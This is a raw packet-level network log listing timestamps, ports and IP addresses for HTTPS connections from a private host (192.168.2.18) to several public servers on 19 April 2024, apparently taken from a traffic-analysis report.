Apr 19, 2024 17:01:42.056632996 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.056638002 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.056675911 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.056747913 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057023048 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057046890 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057069063 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.057071924 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057101965 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.057301998 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057585955 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057610989 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057624102 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.057626963 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057660103 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.057820082 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057946920 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.057985067 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.058090925 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.058104038 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.118324995 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:42.118421078 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:42.118484974 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:42.118994951 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:42.119014978 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:42.194200039 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194320917 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194391012 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.194410086 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194441080 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194484949 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.194525957 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194663048 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194701910 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.194713116 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194799900 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194854021 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.194859982 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194935083 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.194983006 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.194988012 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.195058107 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.195097923 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.195102930 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.195750952 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.195802927 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.195807934 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.195893049 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.195936918 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.195940971 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.196024895 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.196067095 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.196072102 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.196662903 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.196744919 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.196748972 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.196778059 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.196860075 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.196868896 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.196964979 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.197005987 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.197012901 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.197675943 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.197757006 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.197763920 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.197838068 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.197880983 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.197886944 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.197956085 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.197998047 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.198004007 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.198544979 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.198596954 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.198602915 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.198693037 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.198740959 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.198761940 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.198772907 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.200855970 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201040983 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201105118 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.201117992 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201144934 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201189041 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.201219082 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201354027 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201400995 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.201415062 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201747894 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201805115 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.201812983 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201891899 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.201940060 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.201947927 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.202013969 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.202064991 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.202071905 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.202143908 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.202189922 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.202198029 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.202265024 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.202312946 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.202510118 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.202524900 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.210392952 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.210434914 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.210553885 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.210922003 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.210937023 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.321805000 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.321886063 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.321989059 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.322212934 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.322231054 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.429446936 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.429768085 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.429789066 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.430825949 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.430912971 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.431337118 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.431337118 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.431349039 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.431396961 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.484908104 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.484920025 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.530893087 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.534811974 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.535098076 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.535142899 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.537322044 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.537408113 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.537758112 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.537873983 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.538003922 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.538014889 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.592966080 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.690449953 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.690521002 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.690639973 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.691709995 CEST	49697	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:42.691747904 CEST	443	49697	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:42.801063061 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801352978 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801445007 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801446915 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.801516056 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801582098 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.801599979 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801697016 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801753044 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.801765919 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801913977 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.801970005 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.801991940 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802084923 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802138090 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.802151918 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802303076 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802355051 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.802371979 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802465916 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802520037 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.802532911 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802649975 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802700043 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.802712917 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802931070 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.802982092 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.802995920 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803148031 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803217888 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.803231001 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803322077 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803374052 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.803388119 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803628922 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803683043 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.803695917 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803848982 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.803901911 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.803915024 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.804394007 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.804464102 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.804486036 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.804950953 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.805007935 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.805022955 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.805386066 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.805444002 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.805457115 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.805713892 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.805783033 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.805797100 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.806199074 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.806250095 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.806263924 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.806591034 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.806648970 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.806662083 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.806988001 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.807058096 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.807070971 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.807336092 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.807395935 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.807410002 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.807615995 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.807662964 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.807676077 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.807821035 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.807876110 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.807888985 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.808037996 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.808089018 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.808101892 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.808403015 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.808460951 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.808474064 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.808677912 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.808725119 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.808739901 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809016943 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809072018 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.809087038 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809214115 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809281111 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.809293985 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809320927 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809370041 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.809385061 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809438944 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.809457064 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809684992 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809740067 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.809756041 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809842110 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.809890985 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.809905052 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.851922035 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.851972103 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.852054119 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.852356911 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.852389097 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.863890886 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.863924026 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.905570984 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.905720949 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.905755043 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.906640053 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.906709909 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.906728029 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.906761885 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.906820059 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.906847000 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.907151937 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.907212973 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.907226086 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.907803059 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.907875061 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.907890081 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.908483028 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.908549070 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.908561945 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.908902884 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.908970118 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.908983946 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.909199953 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.909260035 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.909272909 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.909512997 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.909594059 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.909606934 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.910140991 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.910202980 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.910216093 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.910628080 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.910708904 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.910721064 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.911006927 CEST	49701	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.911046982 CEST	443	49701	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.911113977 CEST	49701	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.911129951 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.911190033 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.911202908 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.911385059 CEST	49701	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.911401033 CEST	443	49701	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.911647081 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.911709070 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.911722898 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.912024021 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:42.912090063 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.912195921 CEST	49698	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:42.912223101 CEST	443	49698	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.065488100 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.065831900 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.065880060 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.066230059 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.066567898 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.066647053 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.066708088 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.108145952 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.118880033 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.129762888 CEST	443	49701	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.130120993 CEST	49701	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.130132914 CEST	443	49701	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.130480051 CEST	443	49701	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.130810022 CEST	49701	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.130882978 CEST	443	49701	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.130995035 CEST	49701	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.176114082 CEST	443	49701	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.341758966 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.341828108 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.341880083 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.341891050 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.341917992 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.341970921 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.341990948 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.342005014 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342052937 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342057943 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.342068911 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342120886 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.342144966 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342197895 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342242002 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.342255116 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342657089 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342695951 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342717886 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.342730999 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.342781067 CEST	49700	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:43.343080997 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.343163013 CEST	443	49700	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:43.343209028 CEST	443	49700	104.17.3.184	192.168.2.18
